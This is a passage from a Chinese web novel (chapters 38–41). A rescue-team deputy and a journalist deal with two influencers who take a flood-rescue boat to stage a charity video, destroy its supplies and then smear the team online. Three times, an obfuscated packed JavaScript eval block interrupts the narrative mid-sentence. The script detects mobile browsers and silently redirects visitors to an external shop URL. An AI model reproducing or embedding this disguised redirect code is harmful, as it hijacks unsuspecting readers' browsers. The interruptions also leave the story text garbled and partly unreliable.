彼时他24岁,毕业不久,却已经拿到了全球电影声音大奖——金卷轴的声音编辑最佳成就奖。 齐寻这个名字,正式出现在了业界所有人的注视中。 他顶着一张淡然的脸,出现在颁奖后的晚宴上,眼前被闪光灯肆虐的阵阵黑影尚未散去,就有德高望重的前辈主动递来橄榄枝,询问他愿不愿意出国留学,进入世界电影的最高学府深造,毕业后由他作保,直接进入好莱坞,继续勇攀高峰。 这对任何人来说,都是可遇不可求的良机。 可齐寻沉默了许久,竟然拒绝了。 这对他的职业生涯当然是最好的选择,可跟他的人生目标,是真正的背道而驰。 出国了,他还怎么找人? 然而他那时候并不知道,前辈推荐的那所大学,就在银石湖大学的旁边。 当时的黎叙闻,正在那里攻读新闻硕士。 只要他点点头,他们就会在异国某个留学生联谊派对上相遇。 但世事如此,该翻的山,该走的路,一步也不会少。 这时黎叙闻轻咳一声,拂去了莫名断在半截的话题,起身道:“先贴敷料吧,贴好我去给你拿睡袋。” “闻闻。”齐寻蓦地出声,叫住她行将离去的背影:“如果我想追一个有男友的女人,是不是太不道德了?” 38. 第 38 章 黎叙闻霍然转过身,不可置信道:“什么?” 齐寻靠在椅背上,盯着她的眼睛目光灼然:“你听见了。” 两人距离不过两三步,一高一低地对视。 黎叙闻的视线居高临下锁住他的眼神,妄图从里面分辨出一点试探、玩笑、或是等待,等着她露出这样的表情,然后笑着说,这么紧张干什么,开个玩笑。 但那里面什么也没有。 他的眼神里只有真诚。 黎叙闻忽然意识到,她完完全全,会错了意。 他连一句轻佻的话都不曾对她说过,又怎么会跟她开这样怪异又毫无意义的玩笑? 原来是这样么,她还以为…… 这个念头在她脑子里轰然炸开,她迅速眨眨眼,慢半拍地想要驱散自己不经意露出的失望。 可已经来不及了。 借着从凹凸不平的土地反射的那一点点光,她在他的眼睛里,看见了表情并不那么体面的自己。 她转身背对他,声音是来不及遮掩的冷:“你想听什么回答,想让我给你加油助威?” 说完这句她转身就走,踩着他在身后叫的那声“闻闻”,逃命似地从他的视线里消失了。 室内的寂静栽在雨后潮热的土壤里,长成一室未经过滤的喧嚣。 齐寻置身其中,看着门口布帘一张一合,将她停顿在门口的影子瞬间吞没,像一片乌云吞没了他的月亮。 麻醉消退,后腰的伤又隐隐钝痛起来。 第二天,整个救援队再次忙得人仰马翻。 虽未下雨,但天边堆着层层铅云,谁也不敢懈怠。 行动组一队由纪士诚带队,沿着昨天未走完的路线沿途搜索,另一队由齐寻带队,开拓新地域,以便定下新的营救策略。 齐寻来回三趟运送伤者,路过低头替患者清理伤口的黎叙闻,脚步略微一顿,却没停留。 黎叙闻原本不想看见他,可记者警觉的本能又让她在第一时间看出了端倪。 侧腰受伤的人因为疼痛,会下意识将重心挪到另外一边,走路时有轻微的跛感。 她咽了咽,收了乱七八糟的心思,与齐寻擦肩而过时,把敷料直接塞进了他怀里。 “黎小姐,”他这么叫她:“我自己贴不到,帮个忙?” 身边路过的队员听见,笑得不能自已:“还黎小姐,叫声‘老婆’难死你了副队长。” 黎叙闻被揶揄得脚步一顿,回头怒视他。 齐寻晃晃手里的敷料,无辜地跟她对视。 她一把抢过来,扯着他的胳膊,将他按在墙角的座位上:“衣服掀起来。” 齐寻默默卷起背心下摆,露出紧实的腰。 黎叙闻没什么好气,抬手快准狠地撕掉边缘微微翘起的贴片。 皮肉被扯了一下,齐寻本能地一颤,潮湿的皮肤暴露在空气中,却迟迟没等来她下一步动作。 他偏过头:“怎么了?” 黎叙闻盯着他的伤口,眉心狠狠一抽,无声地倒吸了口气。 那处明显又被水泡过,缝合边沿微微泛着白,皮肉似乎已经开始发胀。 她没忍住,伸出指尖轻轻触碰。 那里明显低于体温,应该是一直泡在水里,把敷料边缘泡得翘起,污水渗进里面,再这样下去,搞不好会有感染的风险。 她眸光闪了闪,问:“今天一直在水里?” “嗯,有的地方冲锋舟开不进去,只能绑着绳子进。” 黎叙闻嘴唇翕动,真的很想说都伤成这样了,让别人去不行吗?自己都顾不上,还怎么去救别人? 可昨天一天加今天一早上,她处理了不知道多少个队员的伤势。 呛水、摔伤、扭伤、划伤,还有人因为卫生条件不到位引发了哮喘。 齐寻身为队长,比谁都想要再多承担一些。 他就是这样一个把所有人都放在天平更重的一端,而将自己轻飘飘搁在一边的人。 所以直到她换好敷料,又在上面加了一层防水隔膜,黎叙闻还是什么都没说。 替他拉好衣服,她才道:“既然必须下水,就勤换着点。” 齐寻没答,起身准备再去救援,在错身而过时,紧紧地握了一下她的手指。 粗糙温热的触感在她指尖一触即离,带着他的疲惫和笃定。 她低头看着自己洗得发白的手,想,或许这就是他说的,他们是过命的交情。 “白蛇!”门口忽然传来行动组队员焦急地叫喊:“我们丢了一船物资!” 齐寻神色一凛,大步走到他跟前:“怎么回事?” 这一批是新来的药物,后勤统筹的时候发现数量对不上,喊运送物资的行动组来对数,却惊奇地发现,不但那一船急救包、消毒水和方便食品全没了,连同他们运送物资开的高载重冲锋舟,竟然也一起不见了踪影! 阿咩脸都白了,语无伦次的:“早上我去隔壁,想匀一些吃的过来,根本没看见谁动了船。” 齐寻肃着脸听完,问:“余下物资还有多少?其余船呢?是否影响行动?” 阿咩红着眼圈把备忘录给他看:“就送了两船过来,群众的是够了,咱们的人就……” “不止,”队员在一边插话:“你上午定的救援计划里,那艘船是主力,现在丢了,恐怕……” 水上救援也讲究黄金72小时,过了这个时间窗口,受困者的存活率将大幅降低。 丢一艘船,他们失去的不仅仅是一艘船和物资的价值,还有很多本应该被救起的生命。 齐寻表情彻底冷下来:“匀三个人出来,跟我去找船。其余人按原计划行动。” 虽然洪水茫茫,并没有寻找的方向,但队员们还是仿佛找回主心骨,慌乱的神色终于沉下来。 三名队员自告奋勇跟着他,四个人最后盘点一遍装备,准备出发,坐在旁边休息的一名群众忽然搭腔:“早上我好像看见了谁动的船。” 齐寻立刻追问:“几个人,什么打扮,往哪边去了?” “两个人,一男一女,穿的就是一般的衣服,不是你们的制服,往……往东,对,往东!”那人一边回忆一边道:“他们拿了根很长的杆,还有一块很大的白板子,不知道干嘛用的。” 黎叙闻一直在不远处默默听着进展,听到这里,眉心忽然一跳。 她来不及犹豫,转身小跑到齐寻身边:“带上我。” 齐寻面色冷硬地看她一眼:“不是你该去的地方。” 说罢冲提供线索的群众点了点头,抬脚要走。 黎叙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900131|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻往旁边微跨一步,严丝合缝挡在他身前,寸步不让:“白蛇,带上我。” 齐寻垂着眼睛望她,耳边极轻极快地“嗡”了一声。 这个称呼被她叫出来…… 罢了,闻女士想做的事,谁阻拦都没有用。 他喉头滚了滚:“……跟上,上船穿好救生衣,自己照顾自己。” 上船之后,齐寻安顿好各个方向的观察员,检查了对讲设备和信号联络,把带来的无人机往黎叙闻怀里一塞:“别闲着,找人。” 而后转身跟三个队员交代:“一会儿要是能找到,多的不要说人家,先检查人的伤势和……你拍什么?” 后半句语调陡然严厉起来,被点名的队员手里拿着的手机一抖,一脸无辜。 黎叙闻接话道:“我让拍的。” 齐寻面色稍缓:“我们不是来作秀的,别干涉作业。” 黎叙闻低着头不看他,放飞了无人机:“我知道你们不是来作秀的,别人知道吗?” “不需要别人知道。” 黎叙闻笑了一声:“行啊,最好明天你还能这样掷地有声地跟我说,你们救援队做了什么,不需要任何人知道。” 两人之间气氛又尖锐又怪异,搞得其他人面面相觑,一句都不敢插嘴。 静了有半分钟,一个叫馒头的面膛白净的小伙子才试探道:“白蛇,你说……他们开船做什么?” “可能只是好奇,”齐寻驾着船,眉头一刻不松:“那玩意跟一般的冲锋舟还不一样,没受过训的人开出去,我担心会出事。” 黎叙闻摇头:“他们是网红。” 其余四人异口同声:“网红?” “对。你们不觉得奇怪吗?一根长杆,一块白板,如果只是好奇想开出去转一圈,带这些东西不碍事?”黎叙闻解释:“我估计那是拍摄杆和打光板。他们不是在直播,就是在拍视频。” 馒头听得目瞪口呆:“就这么两个词,你就确定了?” “不确定,所以跟来看看。”黎叙闻道:“自媒体也是媒体,我多少知道该怎么跟他们打交道。” 拍着视频的队员咧嘴笑起来,欠兮兮用脚尖去碰齐寻:“闻记者这是担心我们吃亏哈。” 黎叙闻用眼角剔了齐寻一眼,却无视他欲言又止的神色,低下头继续找人,没再搭话。 即使有了大致方向,可受灾区域这么大,要找一艘船两个人,无异于大海捞针。 受灾区域信号时断时续,时间一分一秒流逝,太阳一寸一寸滑向西边,船上每个人都被波光粼粼的水晃得头晕眼花,带的水也不敢喝,生怕到时候找到人不够分。 黎叙闻一下午一瞬不瞬盯着屏幕,这时候抬头活动一下酸疼的肩颈:“再往前就是沼泽了,还走么?” 齐寻递了瓶水给她:“先歇歇。” 她眼也不抬,接了水搁在一边,抱着操作台不放手。 齐寻正要再劝,黎叙闻却蓦地叫起来:“那是什么?” 齐寻凑过去看她手上的屏幕,只见一抹鲜艳的颜色从模糊的画面中一闪而过。 黎叙闻手指飞快划过操作台,调回画面,将镜头拉近,视窗终于对上了一艘卡在沼泽烂泥中的冲锋舟。 那上面站着两个人,正在朝无人机拼命挥手! 39. 第 39 章 几人驾船全速驶向事故地点,越靠近那一大片沼泽,水腥气和烂泥味就越浓重,大家的脸色也越凝重。 沼泽里植被构成复杂、水浅泥深,连齐寻这种老手,开进来之前都得仔细掂量掂量会不会搁浅。 那两个没有驾驶经验的人,载着一船物资,直接一头栽进了沼泽深处。 齐寻放慢速度,小心绕开泥淖,再次叮嘱所有人:“无论什么情况,都要以受困者身体状况为先,尽量不要起冲突。”又扭头对馒头道:“你把位置发给大本营,让他们多开两条动力足的船艇,把那艘拉走。” 馒头应了,又问:“他们要真是网红,那他们拍的东西……” “小事,没有恶意就随他们去吧。” 听得黎叙闻又拧起眉毛。 这时有队员远远看见荆棘灌木丛中的一点橘红色,大声叫起来:“那!在那!” 不出他们所料,那艘冲锋舟陷在了沼泽深软的泥里面,船头处缠着杂乱的草木枝条,受困者带着哭腔的声音远远传来:“救命——” 距离事故船三四十米,齐寻熄了引擎:“进不去了。” 受困者被困半个下午,女的脸色白得像纸,嘴唇不住抖动着,身上一直在发抖已经出现了初期失温现象,男的也好不到哪去,上身套着救生衣,声音嘶哑,指着他们喊:“找两个人这么难吗!多久了!我都快虚脱了!” 齐寻出言安抚:“放心,你们会没事的。女生先来。” 其余人闻言,立刻开始解身上的安全带,换上备好的安全绳。 黎叙闻不明所以:“你们……要下去吗?不危险?” 齐寻听见她发问,背影僵了僵,却没有半分搭话的意思。 馒头笑出一排白牙:“怕危险做什么救援呢?这不太深,小心点不会沉下去的。” 黎叙闻转头,视线飘飘忽忽落在齐寻的后腰上,一句话都说不出来。 她一言不发地起身,绕到齐寻身后,直接掀起他后腰的衣摆:“别动。” 齐寻停住动作,乖乖让她换了敷料,低声道:“没事,就是脏点,不用担心。” 黎叙闻眉心稍松:“谁担心?” 她将暗访用的摄像头扣在他领口处,在他出言阻止之前小声道:“嘘,秘密武器。” 齐寻带着无奈笑了一声,扬声对剩下的队员道:“准备好了?” “好了!” “当心陷脚和蛇,下水!” 一声令下,四个人毫不犹豫踏进污浊软烂的泥里。 齐寻打头阵,一步一步蹚过齐腰深的污泥,水面漂浮的杂草散发着腐臭,身体搅动水面的声音显得尤为黏腻。 他靠近事故船体,视线略略一扫,眉头蓦地拧了起来。 船上立着的拍摄杆和打光板,便携摄像机依旧亮着灯,在呼呼运转着。 但这不是重点,重点是高载重冲锋舟的受损情况远超他的想象。 刷着“微光救援”的外壳被硬物刮出了几道长长的裂痕,泥浆顺着裂缝涌入船舱,水已经淹到了座椅底部。 发动机的罩壳半开着,露出的内部机械上挂着湿漉漉的草根。 ……如果不是用了蛮力在浅滩和泥淖里横冲直撞,根本不会有这样触目惊心的伤痕。 别说继续救援,就算立刻拿去修,都不一定能修得好了。 “白蛇!这、”跟上来的队员被这惨状惊得目瞪口呆:“怎么弄成这样了!”他转头怒视两人:“这船要报废了,得少救多少人你们知不知道?!” 女网红声音打抖,冲齐寻伸出手:“别管船了……我动不了了……快救我……” 齐寻回头对身后三个队员道:“原地待命,我背她回去。” 众人愤愤地应了,齐寻将女网红背在背上,身后男的牙齿打战:“赶紧回来啊!” 齐寻瞥他一眼,转身再次半身没入泥里,背着女孩一步一步回到救援艇上。 黎叙闻将女孩接过来,没看他,递上准备好的食物和水:“吃点能量棒,休息一下。” 齐寻舔了舔嘴唇,转身路过馒头时,低声对他道:“物资没了,你去附近看看,注意安全。” 馒头点点头,放长了身上的绳索,向事故船后方蹚去。 男网红站在船上,也依法炮制,伸着手等齐寻来背。齐寻拧着眉问他:“你也动不了了?” “这么脏的泥,你让我往下踩?” 跟着齐寻的另一个队员都听笑了:“我们就不嫌脏?” “你们不就干这个的吗?嫌脏当什么志愿者啊?” 队员上前一步想跟他理论,齐寻拦住他,转身弯腰对男网红道:“上来,别浪费时间。” 黎叙闻远远看着,冷笑一声:“你朋友挺精贵的。” 女网红吃了点东西,面色缓过来些:“可小心点吧,我们要是摔个好歹,百万粉丝可要骂死你们的。” 黎叙闻看着齐寻泡在泥里的侧腰,心里止不住地慌,又不能拦着他下水救人,正反两面烤得她难受。 这时候有人送上门来,她更没有嘴下留情的道理。 她回头挑着眉看了女网红一眼,笑道:“你粉丝都是白内障预备役吧?” 事故船那头忽然传来馒头的叫声,慌乱里竟带着委屈:“白蛇!队长!” 黎叙闻头皮一炸,以为齐寻出了什么事,登时跳起来跑到船尾去看。 却见馒头一个大小伙子,表情欲哭无泪,满身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901824|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的污水满手的泥,手上捧着被泥糊成一团的盒子:“急救包……还有药……” 男网红还没来得及收好东西,见他竟然从后面的灌木里掏出了自己丢弃的东西,不由心虚:“船、船都进水了!你总不能让我们抱着这些垃圾去死吧……” “垃圾?”齐寻额角青筋暴起,一把揪住他的衣领:“你知不知道多少人等着这些物资救命?” 男网红慌了一瞬:“哪、哪有那么严重?” 其余队员深一脚浅一脚从齐寻身边掠过,跟着馒头一起,把成箱的瓶装水从泥里挖出来,仔细检查了一遍,摇头对齐寻愤慨道:“用不了了,包装全部污染……这批东西全部废了。” 齐寻侧颈脉搏猛跳,深深吸了一口气,抬手把男网红搡进事故船里:“嫌脏?那你就呆在这,什么时候水不脏了什么时候再走!” 女网红在他身后的冲锋舟上发出尖锐爆鸣:“我要举报!我要举报微光救援队!” 黎叙闻从后面死死捂住她的嘴,在她耳边道:“你知道吗,我们救援不是每次都能成功的。” 女孩本就心虚,被她这么漏洞百出地一恐吓,竟然真的信了,瞪着眼睛,却不敢再出声。 男网红气红了眼,从污水里爬起来,又不敢大声辩驳,一咬牙一闭眼,拎起设备,一脚踩进了泥水里。 他穿的只是普通的运动鞋,踩进去的那一秒就感觉冰凉的水立刻灌满了鞋子和裤腿,湿软的泥沿着他的腿挤入裤管,软绵绵贴住他的皮肤…… 不对,这泥怎么……会动? 他当即尖叫起来,手里的设备都险些扔掉,顾不得脸面地抱住齐寻的腰:“有蛇!蛇!救我!” 齐寻毫不遮掩脸上难看的神色,心中郁结哽在喉头,长长地吐了口气,勉力咽下自己的怒火,半蹲下身子,道:“上来,别浪费时间。” 男网红喜出望外,立刻趴上他的背,顺便将设备放在他肩头。 齐寻背上背着个大男人,每一步都被泥浆紧紧吸住,腰间伤口撕裂的疼痛愈加清晰,一股凉意慢慢渗进刚刚贴好的敷料边缘。 脚下踩到湿软水草,他猛然分神,突然一滑,一个趔趄险些跪倒在泥里。 身边队员立刻探身去扶,他背上的人被溅起的水沾到,尖叫一声:“小心!我的设备!这水恶心死了你能不能稳当点!” 队员咬牙切齿:“我看我们就不该救你!” 男网红被吼了一句,不但没收敛,反而伸手指着他的鼻子:“我警告你,我全网粉丝过百万,你给我放尊重点!” 齐寻前额一层冷汗,语气仍冷冽:“再说一句,自己游回去。” 男网红惊叫一声,抱紧他的脖颈,这才不甘心地噤下声来。 40. 第 40 章 既然人都上了船,有些账就该仔细算算。 齐寻一身泥泞坐在船头,喝了黎叙闻递来的水,面色不虞地发问:“为什么不经同意开船出来?” 男网红一耸肩:“好奇呗。” 齐寻眯起眼睛,趁他不备从他手里拿过摄像机,里面的画面兀自开始播放。 这明显是一段有脚本设计的视频:两人脸上涂抹了几道灰尘,连散落的头发和疲惫的妆容都精心设计过,一脸凝重,表示自己对京屿周边的灾情十分挂心,买了急救包、药品和水,特意租了冲锋舟,要送给受灾的群众。 片中两人神色坚定、眼中带泪,说台词的时候声音都是哽咽的,不难想象观众如果在平台上刷到这一段,一定会为他们这种大爱动容。 但这“大爱”的背后,代价是本可以获救的人命和本可以遏制的伤情。 齐寻冷笑,举着摄像机问:“这就是你们的好奇?” 女网红刚刚被黎叙闻制裁过,有些底气不足,但依然梗着脖子狡辩:“这对你们也没什么坏处啊,我们发了视频,自然会在文案里提你们救援队。这不是双赢的事吗?” 男网红立刻接过话头:“对,我们粉丝打钱很大方的,到时候少不了给你们的捐款。” 馒头两只眼睛被泥水溅得通红,恨恨地盯着他们:“我们是为了那点捐款吗?!” “那你们是为了什么?”女网红笑着问他:“人活着不就是为名为利?” 馒头嘴笨,一时反驳不来:“我、我们……” 齐寻无意跟他们纠缠,冷声道:“救你们,是出于对你们生命的尊重,但这次的所有损失,包括冲锋舟的维修赔偿、物资的费用、路上的运费,微光救援要求你们全额承担。” 几个队员在他身后,面色凝肃地盯着他们。 男网红听到这话,脸上忽然闪过一丝莫名的兴奋,意味深长道:“原来是要钱。” 齐寻压低了眉纠正他:“是基于民事责任,要求你们给予赔偿。” “不一个意思吗?”女网红扭过头,对着馒头问:“这次的事,是不是只要我们给钱,就能解决?” 馒头怔愣了一下,想了想好像也没什么问题,不然还要怎么样,难道还要他们赔命? 他点点头:“对,我们队长……” “好的。”女网红心满意足打断他:“我们明白了。” 黎叙闻坐在齐寻身后,视线随着他们的对话在几人之间逡巡,直到这时才幽幽地叹了口气。 她站起身慢慢走到船头,在所有人反应过来之前,直接拉停了冲锋舟的引擎。 整船的人随着惯性向前一顿,一条满员的冲锋舟,就这么晃晃悠悠地停在了茫茫的浑浊污水里。 齐寻皱眉,眼底一片困惑:“闻闻,怎么了?” 黎叙闻信步走到女网红面前,笑得轻描淡写,居高临下垂着眼看她。 女网红被她看慌了,转头找齐寻求救:“队长……” 齐寻本来还有疑虑,但现在,他看着闻闻露出了他熟悉的锋利模样,直觉她要开大,便笑了笑:“请吧,黎记者。” 女网红一噎,没等她有所反应,黎叙闻忽然把手伸进她衣服口袋,从里面拎出一部装在防水袋里、正在录音的手机。 她手指轻点,手机里传来女网红和馒头的对话。 “这次的事,是不是只要我们给钱,就能解决?” “对,我们队长……” “好的,我们明白了。” 掐头去尾,这就是微光救援队队长明晃晃问受困者索要财物的证据! “这里没有网,我猜你还没来得及备份。”黎叙闻在女网红面前一晃手机:“我要求你立刻删除录音。” 女网红面色微红,却仍不愿放弃辛苦得来的热点:“凭什么?这不是他说的话吗?” 馒头一个大小伙子,委屈得都要哭了:“我,我明明不是那个意思……” 女网红冷笑道:“你是什么意思,你说了算吗?” “我最后说一遍,删掉视频。”黎叙闻知道继续跟她纠缠只会更混乱,提高声音道:“否则我不保证会发生什么。” 女网红恼羞成怒,起身要抢手机,黎叙闻微微一笑,右手轻轻一扬,手机在空中划出一条圆润的弧线,噗通一声落进了水里! 女网红尖叫一声,整个身子探出冲锋舟边缘,可腥冷的水面哪还有手机的影子? 她气得浑身发抖,抓着黎叙闻骂:“谁许你扔我的手机!你给我赔!十倍赔!” 黎叙闻手腕一用力就将她从身上扒下来按到座位上,依然居高临下地对她笑:“谁看见了?” 周围的队员哪见过这种阵仗,一个个大气都不敢出,都扭头去看齐寻。 只见他们队长坐在船头,眉间一丝波澜都没,他们又觉得不必怕了。 男网红嘴里骂得不干不净,喘着粗气冲上前要动手,齐寻脚尖一勾,他脚下被绊住,险些从船上滚下去。 齐寻扥住他后颈衣领,淡声道:“小心点,没人再背你第二回了。” “你们的视频,”黎叙闻自上而下地逼视女网红:“给我删掉,删干净。” 女网红不可置信地盯着她,几乎破音:“凭什么?那是我们冒着生命危险拍的,凭什么你说删就删?” “你就是在欺负救援队不能直接把你扔下去。没关系,对付你的手段有的是。”黎叙闻面上冷冷淡淡:“你发,你前脚发出去,我后脚就会起诉平台,告你诽谤封你的号。你喜欢的话,就重头起号,秽土重生吧。” 女网红瑟缩一下,想起自己葬身水底的手机,恶狠狠瞪了她一阵子,骂了句“太妹”,最后不得不妥协,删掉了视频。 回去的路上,救援队的各位一扫来时的愁云惨淡,一口一个“嫂子”,叫得黎叙闻心里发毛。 她偏过头看齐寻,小声道:“你管管。” 齐寻双手交叠枕在脑后,嘴角难压:“人家爱叫,我管不了。” 黎叙闻咬牙看了他一阵,又想起昨天晚上,这人才承了她的照顾,转头就信誓旦旦,跟她说自己要挑战公序良俗,去追个有夫之妇。 一想到这个她气就不打一处来,哼了一声,扭头不理他了。 回到大本营,两个网红几乎第一时间找到了医院转运病号的车,离开了受灾区。 黎叙闻看着他们消失在车门后的背影。 齐寻他们的战斗结束了,而她的才刚刚开始。 这群傻子,就知道埋着头救人,外面怎么说他们,到底什么才是真相,都不知道抬头解释一句。 齐寻无所谓,但她忍不了。 有人流血流汗不求名利,还被人利用当做流量垫脚石,有人窃船摆拍添尽麻烦,最后还要倒打一耙,说他们才是被辜负的人。 这个世界不该是这样的。 今日天公作美,没怎么下雨,救援也算顺利,是以伤员不多。 她跟医疗组告了假,把两个网红的脸从偷拍的视频里截下来,上网搜图,果然搜到了某短视频平台的一个账户。 竟真的有大几十万的粉丝。 回来还不到一个小时,这个账号已经发了一条意有所指的动态。 布偶和小金毛:这个世界,某些人,某些救援队,害~ 配图是一张男网红的照片,身上沾满脏污,下半身更是像刚从泥里捞出来,正歪在中巴车的座位上睡觉,看起来疲惫不堪。 下面很多评论便开始发散思维: “这是去救灾了?[惊恐]我们狗狗真是人美心善[流泪]这个世界不能没有狗狗[流泪]” “怎么回事啊?跟救援队撞上了?他们欺负你们了?” “早听说他们救人都明码标价,转账才救呢……[嘘]” 黎叙闻一条一条往下看,看得眼皮直突突,心底的怒火一浪接着一浪,不停歇地往上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906026|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻。 看着看着,她忽然莫名其妙笑了出来。 救援队自掏腰包、无财无名,在最危险的地方为素不相识的人拼命,最后就换来这样的结果。 傻子,全是傻子。 太可笑了。 她用最快的速度和最激烈的言辞写了一篇报道,联系了跟自己相熟的编辑,让她把这一篇加进商报的救灾专题中。 编辑在电话那头犹豫:“姐,你还在停职呢,署名写谁的?” “就写我。” 编辑吃了一惊:“这违规了!而且这篇这么不留余地,到时候主编追究起来……” 黎叙闻倒不是怕这个,工资奖金加起来也没几个钱,扣光了拉倒,季筝总不至于因为这事把她开除。 她担心的另有其事。 “就是因为不留余地,才要以我的名义发。主编要是问你,你就说我逼你的。”她又嘱咐:“要快,半小时内,不,十五分钟内,一定要发出来。” 十五分钟是她和商报能做的最大的努力,她只求这一刻钟里事情不要发酵。 起诉平台、告他们诽谤,那都是亡羊补牢之举,在那之前给救援队、给齐寻造成的伤害,谁也弥补不了。 如果她能赶在那两个网红更新之前发稿,那至少,真相没有迟到。 然而在这十五分钟里,远在队部的宣传组已经刷到了那条动态,组长拿不定主意,只好给纪士诚打电话。 纪士诚打开链接的时候,评论已经大几千,转发也已经上千了。 两个网红在评论里真假参半地放出照片,直指某救援队队长阻截物资,在船上恐吓受困者并索要财物,对行动不便的人不管不顾。 纪士诚一脑门子官司,向齐寻问责,齐寻语气平静:“我们有证据,但是要剪辑处理。” 纪士诚急得汗都下来了:“有证据还不赶紧放!剪辑什么?” 齐寻当然不能放。 因为那里面有闻闻为了给他、给救援队出气,对受困者出言不逊的片段。 他不能让这些流出去。 “我有数,”齐寻道:“他们点名某队长,是在针对我。如果来不及,我就先以个人名义出面反驳,等准备好了再放证据。” “你放屁!”纪士诚直接爆了粗:“你一出来,什么脏水都往你身上泼,后续澄清谁还会看?” “只要能争取时间,我无所谓。” “……你不干副队长了也无所谓?” “嗯,无所谓。”齐寻用肩膀和耳朵夹着手机,用借来的电脑一点点抠素材视频:“只要还能在微光,我都无所谓。” 一刻钟后,齐寻特别关注的京屿商报社会观察板块,忽然更新了一则事件实录。 他看见黎叙闻的名字,神色一凛,毫不犹豫地点开。 那股他再熟悉不过的、专属于黎叙闻的杀气顿时扑面而来。 这篇实录不长,但用词犀利、言简意赅,文章的最后缀上了极有力度的三连问: “流量时代是否意味着没有底线?” “牺牲真相换来的名声是否正当?” “名与利的浮华之下,是否所有善意与牺牲都将被唾弃、是否一切慈悲和不忍都将成为一个笑话?” 下面附上的是完整的、没有经过任何剪辑的视频,从他们上路寻人,发现受困者,再到双方冲突,甚至最后黎叙闻威压之下,扔了女网红的手机、强迫她删视频,所有细节毫发无遗。 看得齐寻浑身的血都腾地烧起来。 这么争分夺秒,连剪辑的时间都不给自己留,她在抢什么,他再清楚不过。 她在抢他的清白。 这个念头跟火苗一样燎起来,烧得他眼眶酸涩。 一种陌生而激烈的情绪蓦地涌起,冲击得他呼吸停了好几秒。 然后漫上来的,是更多、更尖利的,足以刺破他胸膛的渴望。 他要见她,立刻。 41. 第 41 章 然而直到大本营陷入沉眠,他都没能见到黎叙闻。 这祖宗,不接电话不回微信,哪里都找不到人,问就是在搞事业没空见他,让他有事早奏无事退朝。 齐寻身为副队长,也不可能真的躲懒半晚上,只能压下那股焦躁,又跟了一趟救援,跟后勤协调了一遍补给,再回到营地,已经过了夜里两点。 得空再打开社交平台,齐寻惊奇地发现,大家讨论的方向已然远远偏离了最初的事件,快进到了他无法想象的地步。 1L:竟然是这样吗……那俩刚舞出来的时候我就觉得不对,灾区是普通人可以随便开船进的? 2L:怎么灾区是什么紫禁城吗?他们虽然做法不对,但发心是好的吧,楼上会不会太刻薄了 ………… 453L:笑死我了这什么爽文,那女的尖锐爆鸣“谁给你的权力”哈哈哈哈像我们家的尖叫鸡 487L:抛开事实不谈,没人觉得这记者跟女流氓一样吗,太凶了吧,还扔人手机,好好说话不行? ………… 846L:你们之前没关注过那个代孕案吗,也是这记者爆的,听说因为那个案子都被停职了 863L:啊对,好像是因为违规发布还是什么……不重要,调查记者salute 900L:怎么不重要?程序正义你没听说过?难怪说网民本科率才4% …………… 1432L:现在这些报社简直恶毒,自己写出来的东西一坨屎,看网红有流量不要太嫉妒哦 1484L:我也觉得,那个女记者怎么刚好就在那艘船上?整件事是不是演的啊? 1502L:你这么一说我就明白了,救援队缺钱没人关注,所以联合这女记者一起炒作,把咱们当猴耍 1600L:新闻早就死了好吧还在这调查记者,你们留个地址等老了我卖你们保健品[微笑] ……… 齐寻将评论区从头翻到尾,眼睁睁看着焦点从原本的两个网红私自偷驾冲锋舟并损毁物资,就这样渐渐偏离到黎叙闻身上。 他握紧手机,后槽牙不断咬紧又松开,想回复争辩,却又对着几千层的高楼茫茫然不知该从何入手。 指尖在屏幕上悬了半晌,他切回微信,看着屏幕上“未应答”的绿色方块几乎砌成一座高塔,搓了搓手指,又给黎叙闻拨了个语音。 没想到这次竟然立刻通了。 她的声音透过听筒,在昏茫夜色里落入他的耳朵:“喂?” 听起来冷静又平常。 可落在录音师千锤百炼的耳中,里面却回荡着压抑的恐惧。 “在哪?”齐寻单刀直入:“见一面。” 那边静了一瞬,道:“在值班。”停了停又问:“晚上换过药了吗?” “没有。” “……那过来吧。” 营地清凉潮湿的夜里,泥土被泡得松软,脚步陷在里面,跟云一样寂静无声。 医疗组营帐门帘高高卷起,在灰黑的土地上抠出一片暖黄光亮,黑色画框靠着一个纤细人影,双手抱胸,姿态慵懒地倚在画里。 如同一块精心雕刻的皮影,从光里逃跑了。 那影子半低着头,手指在手臂上轻点,像是在解一道难解的题。 齐寻顿住脚步,静静地听着影子在戎戎微雨中起伏的呼吸。 那凌乱的气息先于她的眼神,提前剧透了她躲避了一下午加整个晚上,或许还准备一直躲避下去的某些内心旁白。 他并不直接上前,而是站在原地,轻轻咳了一声。 